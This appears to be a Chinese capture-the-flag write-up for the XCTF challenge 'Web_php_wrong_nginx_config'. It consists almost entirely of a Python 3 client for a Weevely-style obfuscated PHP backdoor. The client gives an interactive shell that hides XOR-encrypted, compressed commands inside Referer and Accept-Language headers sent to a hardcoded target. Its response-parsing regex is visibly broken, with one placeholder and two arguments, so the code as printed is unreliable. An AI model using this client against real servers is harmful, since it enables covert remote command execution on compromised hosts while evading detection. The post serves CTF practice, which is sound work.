攻防世界web:Web_php_wrong_nginx_config,python3后门

 网上的wp中关于Web_php_wrong_nginx_config的后门代码都是python2的(源码来自:Weevely:一个 PHP 混淆后门的代码分析 - Phuker's Blog)

以下是转换成python3的版本

# encoding: utf-8

from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import re

def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length < amount:
        print('Error Input')
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0, length - 1)
        if i not in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result

def randBytesFlow(amount):
    result = b''
    for i in range(amount):
        result += bytes([randint(0, 255)])
    return result

def randAlpha(amount):
    result = ''
    for i in range(amount):
        result += choice(string.ascii_letters)
    return result

def loopXor(text, key):
    result = b''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt < lenTxt and iKey < lenKey:
            result += bytes([key[iKey] ^ text[iTxt]])
            iTxt += 1
            iKey += 1
    return result

def debugPrint(msg):
    if debugging:
        print(msg)

# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://61.147.171.105:51610/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in range(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5((init2Char + keyh).encode('utf-8')).hexdigest())[0:3]
md5tail = (md5((init2Char + keyf).encode('utf-8')).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char,))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in range(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode('utf-8')
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.parse.urlencode(query))
    # encode payload
    payload = zlib.compress(cmd.encode('utf-8'))
    payload = loopXor(payload, xorKey.encode('utf-8'))
    payload = base64.urlsafe_b64encode(payload).decode('utf-8')
    payload = md5head + payload
    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.parse.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)
    # send request
    r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
    html = r.text
    debugPrint(html)
    # process response
    pattern = re.compile(r'<%s>(.*)' % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print('Error,  no backdoor response')
        cmd = input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = base64.b64decode(output.encode('utf-8'))
    output = loopXor(output, xorKey.encode('utf-8'))
    output = zlib.decompress(output).decode('utf-8')
    print(output)
    cmd = input('phpshell > ')

你可能感兴趣的:(前端,php,nginx)